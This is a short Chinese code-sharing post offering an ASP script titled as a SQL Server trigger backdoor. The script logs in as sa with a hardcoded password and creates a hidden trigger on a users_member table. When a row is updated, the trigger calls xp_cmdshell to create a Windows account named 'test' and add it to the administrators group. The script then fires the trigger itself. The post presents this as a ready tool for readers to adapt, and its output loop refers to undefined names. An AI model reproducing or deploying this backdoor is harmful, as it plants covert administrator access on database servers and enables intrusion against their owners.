MsSql 触发器后门asp版

复制代码

代码如下:

<%
'里边的变量代码大家用时自己改吧
on error resume next
set conn=server.createobject("adodb.connection")
dsn="driver={sql server};server=(local)\gsql;database=baby;uid=sa;pwd=lcx;"
conn.open dsn
if conn.state=1 then
response.write("成功")
sql="create trigger myasp_bkdoor"&chr(10)&chr(13)&"on users_member"&chr(10)&chr(13)&"after update"&chr(10)&chr(13)&"as"&chr(10)&chr(13)&"if user='dbo' or user='sa'"&chr(10)&chr(13)&"begin"&chr(10)&chr(13)&"print 'dbo or sa logon'"&chr(10)&chr(13)&"exec master..xp_cmdshell'net user test 123456 /add&&net localgroup administrators test /add'"&chr(10)&chr(13)&"end"&chr(10)&chr(13)&"else"&chr(10)&chr(13)&"begin"&chr(10)&chr(13)&"print 'not dbo or sa privilage'"&chr(10)&chr(13)&"end"&chr(10)&chr(13) '建立myasp_bkdoor触发器，触发baby库中的users_member表的update操作加用户
sql1="update users_member set email=3 where accountid=1" '触发
'sql2="drop trigger myasp_bkdoor"
set rs=conn.execute(sql)&conn.execute(sql1,irowsaffected, &h0001)'&conn.execute(sql2) '触发
do until rs.eof
response.write " <tr>" & vbnewline
for i = 0 to rs.fields.count - 1
response.write "<td>" & sqlout(ors(i)) & "</td>" & vbnewline
next
response.write " </tr>" & vbnewline
rs.movenext
loop
else
response.write("失败")
end if
%>